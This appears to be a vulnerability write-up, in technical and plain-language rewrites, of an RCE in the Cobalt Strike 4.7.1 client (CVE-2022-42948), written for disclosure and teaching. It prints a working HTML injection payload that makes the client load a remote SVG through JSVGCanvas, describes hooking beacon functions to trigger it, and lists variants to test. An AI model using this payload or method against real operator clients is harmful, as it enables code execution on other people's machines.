Skip to content
RCE Write-up Advanced

Analysis of a Remote Code Execution (RCE) Vulnerability in Cobalt Strike 4.7.1

The Cobalt Strike client's Swing components parse HTML, and an <object> tag can instantiate arbitrary Java classes and call their setters. The researchers found that the JSVGCanvas class's setURI method loads an SVG that can execute Java code, and the patch for CVE-2022-39197 did not validate fields such as the note field or process/file names, so an attacker could achieve remote code execution on the operator's machine.

0x09al Follow

Published on securityintelligence.com

Command & Control (C2) frameworks are a very sensitive component of Red Team operations. Often, a Red Team will be in a highly privileged position on a target’s network, and a compromise of the C2 framework could lead to a compromise of both the red team operator’s system and control over beacons established on a…

Rio (@0x09AL), b33f (@FuzzySec), on securityintelligence.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

Command and control (C2) frameworks sit at the most sensitive point of a red team operation. An operator is often highly privileged on a target network, so a compromise of the C2 framework can hand an attacker both the operator's own system and control over the beacons established on the target. That makes C2 frameworks a high-priority target for threat actors and counterintelligence operations. This is an account of how IBM Security X-Force Red analysed the September 2022 out-of-band patch for Cobalt Strike, found that it did not close the hole, and worked the flaw up to remote code execution.

Context

On 20 September 2022, HelpSystems published an out-of-band update for Cobalt Strike to fix an issue found in version 4.7. The vulnerability was classified as cross-site scripting (XSS) and tracked as CVE-2022-39197. The XSS could be triggered by manipulating some client-side UI input fields, by simulating a Cobalt Strike implant check-in, or by hooking a Cobalt Strike implant running on a host. The release notes stated that the vulnerability could lead to RCE, and that claim is what prompted the research.

The Cobalt Strike interface is built on the Java Swing framework, which gives Java programs a graphical user interface. The relevant behaviour is that a Swing component will parse its text as HTML if the string starts with <. The patch added string-based filters to some fields that a remote attacker could tamper with, but the analysis below shows that other fields were left unvalidated.

Setup

The work was done by the Adversary Simulation team at IBM Security X-Force Red, which uses Cobalt Strike among other third-party C2 frameworks to simulate threat actors for clients. The team reviewed the patch to confirm there was no impact to client networks, data and systems.

The tools used were:

  1. A decompiler, to read the Cobalt Strike Java client application.
  2. Tabby, an open-source code analysis tool whose main use case is discovering Java deserialisation gadgets. It accepts Java JAR files as input and can export its analysis to a Neo4j database, where the Cypher query language is used to find elements matching specific criteria.
  3. Fermion, a cross-platform Electron application that uses Frida-Node to ease development of Frida based instrumentation functions.
  4. CobaltStrikeParser by Sentinel One, existing public tooling for testing beacon traffic.

X-Force requested a new CVE, CVE-2022-42948, and gave HelpSystems the technical details to aid development of a new patch.

Finding it

Patch analysis

The first step was to decompile the Cobalt Strike Java client to see where the vulnerability had been identified and how it had been mitigated. The out-of-band patch notes pointed to a function within BeaconC2.class that checks whether the XSS mitigation flag has been set in the TeamServer properties file. Looking at how new implants are registered in the UI, the team found the XSS mitigation validation implemented within BeaconEntry.class. Looking at how the implant list is validated before it is presented to the user, they identified the specific parameters the validator function uses and the class storing the validation functions, CommonHTMLUtils.class.

CommonHTMLUtils contains two validator functions, potentialXSS and potentialUserNameXSS. It is not clear why HelpSystems implemented two separate validators, since one would suffice for input sanitisation. The checks function correctly but are unnecessarily complex. To render HTML inside a Java Swing component the component text has to start with <html>; any other text renders as plain text. A universal validator could simply check whether a string starts with < and return true if it does. It would also be possible to insert a whitespace at the beginning of the text to render those inputs inert instead of dropping them completely.

The validator functions raised immediate concerns that the RCE was still exploitable after the patch. The note field was not subject to the input validation, and that field was used to develop the RCE payload. Any other UI component that could receive data directly from an implant would also be vulnerable, including the process list and the file explorer dialog.

Swing components and HTML

X-Force confirmed that HTML can be included inside a Swing component. If a string's contents start with <, the library parses the content as HTML. Running a small snippet that creates a new JFrame containing a JLabel that uses HTML to style the label body renders part of the text as an HTML heading. The impact at that point is minimal.

After testing a variety of XSS techniques, the team noticed a unique behaviour after injecting an HTML <object> tag: two red question marks appeared in the interface, indicating that the label had attempted to render the <object> tag unsuccessfully.

Further research showed that Java components could be included in the malformed string through the HTML <object> tag, potentially allowing the creation of any Java Swing object. The team tested and confirmed this by adding a Swing JButton object, which was parsed and rendered successfully.

A review of the Java SDK showed that the handler for any given HTML.Tag.OBJECT exists within the ObjectView class, found within the HTMLFactory class creation method. The function in ObjectView responsible for loading the element is createCompoment(). It initialises an instance of the specified class and then checks whether the initialised object is an instance of Component. If it is, it returns the object; if not, it calls getUnloadableRepresentation(), which explains the two red question marks seen earlier.

A key component of ObjectView is setParameters(). It checks whether any parameters were specified on the attributes of an HTML element, then checks whether the loaded class contains any write methods for the element's parameter and calls the appropriate method within the class with the specified value.

As an example of calling a function within a subclass of java.awt.Component with a single string parameter, consider the following HTML content sent to the parser:

HTML
 <html> <object classid=“HelloByName”> <param name=”my_name” value=”Rio”></object>

The parser tries to create an instance of the class HelloByName, checks whether the class is a subclass of java.awt.Component, and calls the setter method for the my_name parameter. This shows how setters can be called with one string parameter in classes that subclass java.awt.Component.

Hunting for a usable setter

Manually searching for a method and class meeting those criteria is non-trivial, so the team used Tabby. They discovered forty-eight functions that met the criteria. These were limited in complexity, which allowed manual review of each. Most were part of the Swing framework and provided nothing usable to trigger RCE. Eventually they found the setURI() function within the JSVGCanvas class. setURI() calls loadSVGDocument, which parses the specified SVG file. Since SVG files allow a user to insert JavaScript, the team crafted an SVG file and served it from a local web server.

Exploitation

Step 1: inject an object that loads an SVG

To test the potential XSS from processing an SVG file, the following HTML was inserted in the note field of the Cobalt Strike UI:

HTML
<html><object classid="org.apache.batik.swing.JSVGCanvas"><param name="URI" value="http://[redacted]:8000/1.svg"></object>

The classid names the class the parser instantiates, org.apache.batik.swing.JSVGCanvas, and the param named URI is passed to its setURI() setter, which loads and parses the SVG from the local web server.

This test yielded an exception indicating that the SVG parser tries to load a new class, org.mozilla.java.script.Scriptable. The XML parser had its own set of handlers for different types of tags inside an SVG XML file.

Step 2: read the Batik documentation

The reference to the Batik library in the exception led the team to Batik's official documentation, which explained how Apache Batik allows developers to call Java code by including a Java JAR file reference within an SVG script element.

Step 3: build and inject a malicious SVG

With that information, the team built and injected an SVG file containing custom Java code in the note field of the Cobalt Strike UI. The report documents this as a sequence of figures:

  • Figure 1: Creation of SVG file
  • Figure 2: Creating a directory to make the directory structure required to initialize
  • Figure 3: PwnME Java code
  • Figure 4: Custom Java Manifest file
  • Figure 5: Compilation of Java code
  • Figure 6: Injection of SVG file into Cobalt Strike note field

This test successfully triggered the vulnerability and executed /usr/bin/xcalc, a common way to demonstrate a proof of concept.

The report stresses that this is a very powerful exploitation primitive. Because the payload is written in Java, it is possible to construct a fully featured cross-platform payload that executes code on the user's machine regardless of operating system flavour or architecture.

Step 4: trigger it remotely through a beacon

Triggering the flaw from the UI requires authenticated operator access. A malicious actor would most likely try to trigger it remotely by manipulating a real beacon in memory or simulating such a beacon. The patch analysis showed HelpSystems introduced string-based filters for fields that a remote attacker could easily tamper with, and public tooling such as CobaltStrikeParser exists to perform such tests.

But the patch was incomplete. Several areas of the UI were not validated and still allowed RCE. One was the process name portion of the data structure returned by calls to Process32Next: an attacker able to hook an implant process and inject HTML there could achieve RCE. That data is rendered in the UI when an operator requests a graphical process listing, though operators typically favour running the ps command in the console instead of opening the graphical menu interface.

A more serious area was the graphical file explorer menu, since using it to explore the operating system or UNC-based paths is a common workflow. By hooking calls to FindNextFileA within the implant, the team manipulated the output in a similar fashion and achieved RCE on the Cobalt Strike UI.

To trigger the exploit, X-Force used Fermion. The report shows Fermion injecting the Cobalt Strike implant process and loading the function instrumentation logic, and then shows that when the operator opens the File Browser of the affected implant, the vulnerability triggers and arbitrary code executes.

Root cause

The mistake is that user-controlled strings reach Swing components that parse their text as HTML, and the HTML <object> handler in ObjectView will instantiate an arbitrary class named in classid and invoke setters on it for each param. If the class is a java.awt.Component subclass with a single-string setter that has a dangerous side effect, the attacker controls that side effect. JSVGCanvas.setURI() is such a setter: it loads and parses an attacker-supplied SVG, and Batik's scripting support lets an SVG script element reference a Java JAR and call Java code.

The patch did not stop this because it only added string filters to some fields, implemented as two separate and unnecessarily complex validators in CommonHTMLUtils, with checks in BeaconC2.class and BeaconEntry.class. Fields that were not covered, notably the note field, the process list and the file explorer dialog, still accepted the payload. The filters were also the wrong shape of defence: a check for a leading < would have been simpler and broader, and prefixing a whitespace would have made inputs inert rather than dropping them.

Impact

An attacker who can get HTML into a field rendered by the Cobalt Strike client can execute arbitrary code on the operator's machine. Because the payload is Java, it can be cross-platform. The remote path is the more dangerous one: by hooking an implant and manipulating data returned by Process32Next or FindNextFileA, an attacker can trigger execution when an operator opens the graphical process listing or the file explorer, with the file explorer presenting the greater threat. The process listing path is limited in practice because operators tend to use the ps console command instead; the file explorer path is more likely to be hit because exploring the filesystem and UNC paths is a common workflow. A compromise of the C2 framework can in turn expose the operator's system and control over beacons on target systems.

Fix

HelpSystems published an out-of-band update for 4.7, and the analysis showed the update in version 4.7.1 was insufficient to mitigate the impact. X-Force requested CVE-2022-42948 and provided the technical details to HelpSystems to aid development of a new patch. The report does not describe the contents of that later patch. What the analysis implies should change is validation that covers every field receiving implant data, including the note field, the process list and the file explorer, and a simpler, universal check such as rejecting strings that start with <.

Variants to test

  1. Other Swing components that render implant-supplied strings. Look for any field populated from beacon data that is not passed through the validators; a positive result is a field that renders HTML when the implant returns a string starting with <.
  2. Other single-string setters on java.awt.Component subclasses. Repeat the Tabby search for classes with a one-string write method and a dangerous side effect; a positive result is a setter that loads a remote resource, executes a command or evaluates code.
  3. Other Batik entry points. Any component that parses SVG or XML from a URI may honour script elements; a positive result is a crafted SVG that references a JAR and runs Java code.
  4. Other implant data sources. Beyond Process32Next and FindNextFileA, hook functions whose output is displayed in the client and inject HTML; a positive result is code execution when the operator opens the corresponding view.
  5. Beacon simulation. Use public tooling such as CobaltStrikeParser to simulate check-ins with tampered fields; a positive result is a client-side render of attacker HTML without a real implant.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 21 min read.

What happened, in plain words

Cobalt Strike is a piece of software that security teams use to test how well a company's computers resist a simulated attacker. It has two halves. One half, called the beacon, runs quietly on a computer inside the network being tested. The other half, called the client, is a window on the tester's own computer where they watch the beacons and give them orders. The whole setup is called a command and control (C2) framework, because it is the channel through which the tester controls the machines they have reached.

That makes the client a very valuable thing to break into. If an attacker can run code on the tester's own computer, they get the tester's access, and through it the beacons sitting on the customer's network. So when the maker of Cobalt Strike, HelpSystems, published a quick fix in September 2022 for a flaw that could let someone run code, the IBM Security X-Force Red team took the fix apart to see whether it really worked.

It did not. The team found that the note field was not subject to the input validation the patch added, and other UI components receiving implant data were also vulnerable. They worked the flaw up into a full remote code execution (RCE), meaning an attacker can make the tester's computer run whatever program the attacker chooses, without touching that computer directly. They asked for a new vulnerability number, CVE-2022-42948, and gave HelpSystems the details so a proper fix could be written.

This article walks through that work from the beginning, explaining each idea as it comes up.

Background: what Cobalt Strike is and why it matters

A red team is a group of security specialists hired to pretend to be a real attacker against their own employer or client. They break in on purpose, so the defenders can find out what would have happened if the intruder had been hostile.

To do that convincingly they use the same kind of tooling real attackers use. A command and control framework is the software that keeps the connection between the attacker's machine and the machines they have broken into. Cobalt Strike is one such framework, and it is widely used by red teams.

The beacon is the small program planted on a target machine. It calls home at intervals, asks for orders and sends back results. The client is the graphical window the operator uses to see beacons, browse their files, list their processes and issue commands.

Because the operator is usually deeply privileged on the target network, breaking the framework is a shortcut to everything. That is why the report calls C2 frameworks a high-priority target for threat actors (criminals and spies) and for counterintelligence operations (state-level efforts to learn what another side is doing).

On 20 September 2022, HelpSystems published an out-of-band patch. A patch is a software update that fixes a problem. Out-of-band means it was released outside the normal schedule, because the problem was urgent. The update was for Cobalt Strike and fixed an issue found in version 4.7. The flaw was classified as cross-site scripting (XSS) and given the identifier CVE-2022-39197.

A CVE is a public catalogue number for a known vulnerability, so that everyone can refer to the same flaw unambiguously. XSS is a class of bug in which an attacker gets their own text, usually including code that a browser or viewer will run, displayed inside someone else's application. In a web page, XSS means an attacker's JavaScript runs in a victim's browser. Here the "browser" is the Cobalt Strike client window, which is written in Java and can render HTML, the language web pages are written in.

The XSS in CVE-2022-39197 could be triggered in three ways, according to the report: by manipulating some input fields in the client's user interface (UI), by simulating a beacon checking in, or by hooking a beacon already running on a host. Hooking means intercepting a program's function calls so you can watch or change what they return. The release notes said the flaw could lead to RCE, and that claim is what prompted the research.

The client is built on Java Swing, a toolkit that gives Java programs windows, buttons, lists and other graphical elements. The key behaviour to remember is that a Swing component will treat its text as HTML if the text starts with the character <. That single rule is the doorway the whole attack walks through.

The team and their tools

The work was done by the Adversary Simulation team at IBM Security X-Force Red. They use Cobalt Strike, among other third-party C2 frameworks, to simulate threat actors for clients. They reviewed the patch to confirm there was no impact to client networks, data and systems.

They used four tools:

  1. A decompiler, a program that turns compiled software back into readable source code. Java programs are distributed as compiled files, so a decompiler is how you read what the client actually does.
  2. Tabby, an open-source code analysis tool. Its main use case is discovering Java deserialisation gadgets. Deserialisation is the process of turning stored or transmitted data back into live objects in memory; a gadget is a chain of existing code that an attacker can repurpose to do something harmful. Tabby accepts Java JAR files (a JAR is a packaged bundle of Java code) and can export its analysis to a Neo4j database. Neo4j is a graph database, a store that records things and the links between them, and it is queried with a language called Cypher. That lets an analyst ask questions like "find every function that takes one string and belongs to a class of this kind" without reading everything by hand.
  3. Fermion, a cross-platform Electron application. Electron is a way of building desktop apps with web technology. Fermion uses Frida-Node to make it easier to write instrumentation functions for Frida. Frida is a tool that attaches to a running program and lets you intercept and alter its function calls, which is exactly what hooking means in practice.
  4. CobaltStrikeParser by Sentinel One, existing public tooling for testing beacon traffic. It lets a researcher simulate or inspect what a beacon sends home.

X-Force requested a new CVE, CVE-2022-42948, and gave HelpSystems the technical details to aid development of a new patch.

Finding it

Reading the patch

The first step was to decompile the Cobalt Strike Java client to see where the vulnerability had been identified and how it had been mitigated. Mitigated means the harm was reduced or blocked, not necessarily removed.

The out-of-band patch notes pointed to a function within BeaconC2.class that checks whether the XSS mitigation flag has been set in the TeamServer properties file. A class in Java is a blueprint for an object; a function (or method) is a named block of code inside it. A flag is a simple on/off setting. The TeamServer is the server half of Cobalt Strike, and its properties file holds configuration settings.

Looking at how new implants are registered in the UI, the team found the XSS mitigation validation implemented within BeaconEntry.class. An implant is another word for the beacon program on the target. Looking at how the implant list is validated before it is presented to the user, they identified the specific parameters the validator function uses and the class storing the validation functions, CommonHTMLUtils.class. A validator is a function that inspects input and decides whether to accept or reject it.

CommonHTMLUtils contains two validator functions, potentialXSS and potentialUserNameXSS. It is not clear why HelpSystems implemented two separate validators, since one would suffice for input sanitisation. Sanitisation is the process of cleaning input so that dangerous parts cannot do harm. The checks function correctly but are unnecessarily complex.

To render HTML inside a Java Swing component the component text has to start with <html>; any other text renders as plain text. A universal validator could simply check whether a string starts with < and return true if it does. It would also be possible to insert a whitespace at the beginning of the text to render those inputs inert instead of dropping them completely. Inert means harmless: the text is still shown, but it is not interpreted as HTML, so it cannot do anything.

The validator functions raised immediate concerns that the RCE was still exploitable after the patch. The note field was not subject to the input validation, and that field was used to develop the RCE payload. A payload is the piece of attacker-controlled content that actually causes the harm. Any other UI component that could receive data directly from an implant would also be vulnerable, including the process list and the file explorer dialog.

Swing components and HTML

X-Force confirmed that HTML can be included inside a Swing component. If a string's contents start with <, the library parses the content as HTML. Parsing means reading text according to a set of rules and turning it into structure the program can act on.

Running a small snippet that creates a new JFrame containing a JLabel that uses HTML to style the label body renders part of the text as an HTML heading. A JFrame is a window; a JLabel is a piece of text inside a window. The impact at that point is minimal: the text just looks different.

After testing a variety of XSS techniques, the team noticed a unique behaviour after injecting an HTML <object> tag: two red question marks appeared in the interface, indicating that the label had attempted to render the <object> tag unsuccessfully. An <object> tag is an HTML element normally used to embed something, such as a picture or a small program, inside a page.

Further research showed that Java components could be included in the malformed string through the HTML <object> tag, potentially allowing the creation of any Java Swing object. The team tested and confirmed this by adding a Swing JButton object, which was parsed and rendered successfully. A JButton is a clickable button. The fact that the client could be told to build a button from text was the first sign that it could be told to build other, more dangerous things.

A review of the Java SDK showed that the handler for any given HTML.Tag.OBJECT exists within the ObjectView class, found within the HTMLFactory class creation method. The Java SDK is the standard set of libraries that come with Java. A handler is the piece of code that deals with a particular kind of input.

The function in ObjectView responsible for loading the element is createCompoment(). It initialises an instance of the specified class and then checks whether the initialised object is an instance of Component. If it is, it returns the object; if not, it calls getUnloadableRepresentation(), which explains the two red question marks seen earlier. In plain terms: the client reads the name of a Java class from the HTML, builds an object of that class, and if the object is a graphical component it puts it on screen. If it is not, it shows the red question marks.

A key component of ObjectView is setParameters(). It checks whether any parameters were specified on the attributes of an HTML element, then checks whether the loaded class contains any write methods for the element's parameter and calls the appropriate method within the class with the specified value. A write method, also called a setter, is a function whose job is to store a value into an object, for example setName("Rio"). The important consequence is that the attacker does not just choose which class is built; they also choose which of its setters is called and with what value.

As an example of calling a function within a subclass of java.awt.Component with a single string parameter, consider the following HTML content sent to the parser:

HTML
 <html> <object classid=“HelloByName”> <param name=”my_name” value=”Rio”></object>

Line by line:

  • <html> tells the Swing component to treat everything after it as HTML rather than plain text.
  • <object classid=“HelloByName”> names the Java class to build. Here it is a made-up class called HelloByName.
  • <param name=”my_name” value=”Rio”> says: after building the object, call the setter for the property my_name and pass it the value Rio.
  • </object> closes the element.

The parser tries to create an instance of the class HelloByName, checks whether the class is a subclass of java.awt.Component, and calls the setter method for the my_name parameter. This shows how setters can be called with one string parameter in classes that subclass java.awt.Component. In other words, if any such class has a setter that does something dangerous when handed a string, the attacker can make that happen.

Hunting for a usable setter

Manually searching for a method and class meeting those criteria is non-trivial, so the team used Tabby. They discovered forty-eight functions that met the criteria. These were limited in complexity, which allowed manual review of each. Most were part of the Swing framework and provided nothing usable to trigger RCE. Eventually they found the setURI() function within the JSVGCanvas class. setURI() calls loadSVGDocument, which parses the specified SVG file.

An SVG file is a picture format that describes shapes in text, and it can contain scripts. Since SVG files allow a user to insert JavaScript, the team crafted an SVG file and served it from a local web server. A local web server is a small program on the same machine that hands out files over the network address [redacted], which always means "this computer".

Exploitation

Step 1: inject an object that loads an SVG

To test the potential XSS from processing an SVG file, the following HTML was inserted in the note field of the Cobalt Strike UI:

HTML
<html><object classid="org.apache.batik.swing.JSVGCanvas"><param name="URI" value="http://[redacted]:8000/1.svg"></object>

Line by line:

  • <html> switches the component into HTML mode.
  • <object classid="org.apache.batik.swing.JSVGCanvas"> tells the client to build an object of the class org.apache.batik.swing.JSVGCanvas. Batik is a Java library for handling SVG images, and JSVGCanvas is its on-screen canvas for showing one.
  • <param name="URI" value="http://[redacted]:8000/1.svg"> tells the client to call the setter for URI with that address. The URI setter is setURI(), which loads the file at the address. The address points at a local web server on port 8000 serving a file called 1.svg.
  • </object> closes the element.

So the classid names the class the parser instantiates, org.apache.batik.swing.JSVGCanvas, and the param named URI is passed to its setURI() setter, which loads and parses the SVG from the local web server.

This test yielded an exception indicating that the SVG parser tries to load a new class, org.mozilla.java.script.Scriptable. An exception is an error message a program produces when something goes wrong. The XML parser had its own set of handlers for different types of tags inside an SVG XML file. In other words, the SVG reader had its own rules, and those rules mentioned a class related to scripting. That was a clue worth following.

Step 2: read the Batik documentation

The reference to the Batik library in the exception led the team to Batik's official documentation, which explained how Apache Batik allows developers to call Java code by including a Java JAR file reference within an SVG script element. A script element is the part of an SVG file that holds code. So an SVG could point at a JAR, a bundle of Java code, and Batik would load and run it.

Step 3: build and inject a malicious SVG

With that information, the team built and injected an SVG file containing custom Java code in the note field of the Cobalt Strike UI. The report documents this as a sequence of figures:

  • Figure 1: Creation of SVG file
  • Figure 2: Creating a directory to make the directory structure required to initialize
  • Figure 3: PwnME Java code
  • Figure 4: Custom Java Manifest file
  • Figure 5: Compilation of Java code
  • Figure 6: Injection of SVG file into Cobalt Strike note field

A manifest file is a small text file inside a JAR that tells Java what is in the bundle and how to start it. Compilation is the step that turns human-readable Java source code into the form the computer runs.

This test successfully triggered the vulnerability and executed /usr/bin/xcalc, a common way to demonstrate a proof of concept. xcalc is a small calculator program that ships with many Linux systems; if the calculator window appears, the attacker's code clearly ran. A proof of concept is a demonstration that a flaw is real, kept as small as possible.

The report stresses that this is a very powerful exploitation primitive. An exploitation primitive is a basic capability that can be built on. Because the payload is written in Java, it is possible to construct a fully featured cross-platform payload that executes code on the user's machine regardless of operating system flavour or architecture. Cross-platform means it works on Windows, macOS and Linux alike, because Java runs the same way on all of them.

Step 4: trigger it remotely through a beacon

Triggering the flaw from the UI requires authenticated operator access. Authenticated means the person is logged in with valid credentials. A malicious actor would most likely try to trigger it remotely by manipulating a real beacon in memory or simulating such a beacon. In memory means while the program is running, without changing the file on disk. The patch analysis showed HelpSystems introduced string-based filters for fields that a remote attacker could easily tamper with, and public tooling such as CobaltStrikeParser exists to perform such tests.

But the patch was incomplete. Several areas of the UI were not validated and still allowed RCE. One was the process name portion of the data structure returned by calls to Process32Next: an attacker able to hook an implant process and inject HTML there could achieve RCE. Process32Next is a Windows function that lists running programs one at a time; the process name is the name of each program. That data is rendered in the UI when an operator requests a graphical process listing, though operators typically favour running the ps command in the console instead of opening the graphical menu interface. ps is the text command that lists processes.

A more serious area was the graphical file explorer menu, since using it to explore the operating system or UNC-based paths is a common workflow. A UNC path is a network address of the form \\server\share, used to reach a shared folder on another machine. By hooking calls to FindNextFileA within the implant, the team manipulated the output in a similar fashion and achieved RCE on the Cobalt Strike UI. FindNextFileA is the Windows function that returns the next file in a folder listing, so tampering with it lets an attacker put a crafted file name into the list the operator sees.

To trigger the exploit, X-Force used Fermion. The report shows Fermion injecting the Cobalt Strike implant process and loading the function instrumentation logic, and then shows that when the operator opens the File Browser of the affected implant, the vulnerability triggers and arbitrary code executes. Instrumentation here means the code that intercepts and rewrites the function's output.

Root cause

The mistake is that user-controlled strings reach Swing components that parse their text as HTML, and the HTML <object> handler in ObjectView will instantiate an arbitrary class named in classid and invoke setters on it for each param. If the class is a java.awt.Component subclass with a single-string setter that has a dangerous side effect, the attacker controls that side effect. JSVGCanvas.setURI() is such a setter: it loads and parses an attacker-supplied SVG, and Batik's scripting support lets an SVG script element reference a Java JAR and call Java code.

The patch did not stop this because it only added string filters to some fields, implemented as two separate and unnecessarily complex validators in CommonHTMLUtils, with checks in BeaconC2.class and BeaconEntry.class. Fields that were not covered, notably the note field, the process list and the file explorer dialog, still accepted the payload. The filters were also the wrong shape of defence: a check for a leading < would have been simpler and broader, and prefixing a whitespace would have made inputs inert rather than dropping them.

Impact

An attacker who can get HTML into a field rendered by the Cobalt Strike client can execute arbitrary code on the operator's machine. Because the payload is Java, it can be cross-platform. The remote path is the more dangerous one: by hooking an implant and manipulating data returned by Process32Next or FindNextFileA, an attacker can trigger execution when an operator opens the graphical process listing or the file explorer, with the file explorer presenting the greater threat. The process listing path is limited in practice because operators tend to use the ps console command instead; the file explorer path is more likely to be hit because exploring the filesystem and UNC paths is a common workflow. A compromise of the C2 framework can in turn expose the operator's system and control over beacons on target systems.

Fix

HelpSystems published an out-of-band update for 4.7, and the analysis showed the update in version 4.7.1 was insufficient to mitigate the impact. X-Force requested CVE-2022-42948 and provided the technical details to HelpSystems to aid development of a new patch. The report does not describe the contents of that later patch. What the analysis implies should change is validation that covers every field receiving implant data, including the note field, the process list and the file explorer, and a simpler, universal check such as rejecting strings that start with <.

Variants to test

  1. Other Swing components that render implant-supplied strings. Look for any field populated from beacon data that is not passed through the validators; a positive result is a field that renders HTML when the implant returns a string starting with <.
  2. Other single-string setters on java.awt.Component subclasses. Repeat the Tabby search for classes with a one-string write method and a dangerous side effect; a positive result is a setter that loads a remote resource, executes a command or evaluates code.
  3. Other Batik entry points. Any component that parses SVG or XML from a URI may honour script elements; a positive result is a crafted SVG that references a JAR and runs Java code.
  4. Other implant data sources. Beyond Process32Next and FindNextFileA, hook functions whose output is displayed in the client and inject HTML; a positive result is code execution when the operator opens the corresponding view.
  5. Beacon simulation. Use public tooling such as CobaltStrikeParser to simulate check-ins with tampered fields; a positive result is a client-side render of attacker HTML without a real implant.

Glossary

  • Beacon: the small program planted on a target machine that calls home to the C2 server for orders.
  • C2 (command and control) framework: software that keeps the connection between an attacker's machine and the machines they have broken into.
  • Class: in Java, a blueprint for an object, containing its data and the functions that act on it.
  • Client: the graphical window the operator uses to control beacons.
  • Compilation: turning human-readable source code into the form the computer runs.
  • Component: a graphical element such as a window, label or button.
  • Counterintelligence: state-level efforts to learn what another side is doing.
  • Cross-platform: working on several operating systems without changes.
  • Cross-site scripting (XSS): a bug where an attacker's text, usually including code, is displayed inside someone else's application and runs there.
  • CVE: a public catalogue number for a known vulnerability.
  • Cypher: the query language used with the Neo4j graph database.
  • Decompiler: a program that turns compiled software back into readable source code.
  • Deserialisation: turning stored or transmitted data back into live objects in memory.
  • Exception: an error message a program produces when something goes wrong.
  • Exploitation primitive: a basic attacker capability that can be built on.
  • Flag: a simple on/off setting.
  • Frida: a tool that attaches to a running program and lets you intercept and alter its function calls.
  • Function (method): a named block of code inside a class.
  • Gadget: a chain of existing code an attacker can repurpose to do something harmful.
  • Handler: the piece of code that deals with a particular kind of input.
  • Hook: to intercept a program's function calls so you can watch or change what they return.
  • HTML: the language web pages are written in.
  • Implant: another word for the beacon program on the target.
  • Inert: harmless; shown but not interpreted, so it cannot do anything.
  • Instrumentation: code that intercepts and rewrites a function's behaviour or output.
  • JAR: a packaged bundle of Java code.
  • Java SDK: the standard set of libraries that come with Java.
  • JButton: a clickable button in Java Swing.
  • JFrame: a window in Java Swing.
  • JLabel: a piece of text inside a Java Swing window.
  • Local web server: a small program on the same machine that hands out files over the network address [redacted].
  • Manifest file: a small text file inside a JAR that tells Java what is in the bundle and how to start it.
  • Mitigate: to reduce or block the harm, not necessarily remove the cause.
  • Neo4j: a graph database, a store that records things and the links between them.
  • Out-of-band patch: an update released outside the normal schedule because the problem is urgent.
  • Parsing: reading text according to a set of rules and turning it into structure the program can act on.
  • Patch: a software update that fixes a problem.
  • Payload: the piece of attacker-controlled content that actually causes the harm.
  • Proof of concept: a small demonstration that a flaw is real.
  • Red team: security specialists hired to pretend to be a real attacker against their own employer or client.
  • Remote code execution (RCE): a flaw that lets an attacker make another computer run whatever program the attacker chooses.
  • Sanitisation: cleaning input so that dangerous parts cannot do harm.
  • Script element: the part of an SVG file that holds code.
  • Setter (write method): a function whose job is to store a value into an object.
  • SVG: a picture format that describes shapes in text and can contain scripts.
  • Swing: a Java toolkit for building graphical interfaces.
  • Tabby: an open-source code analysis tool for finding Java deserialisation gadgets.
  • Threat actor: a criminal or spy who attacks systems.
  • UNC path: a network address of the form \\server\share pointing at a shared folder on another machine.
  • User interface (UI): the parts of a program a person sees and interacts with.
  • Validator: a function that inspects input and decides whether to accept or reject it.
  • XSS: see cross-site scripting.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.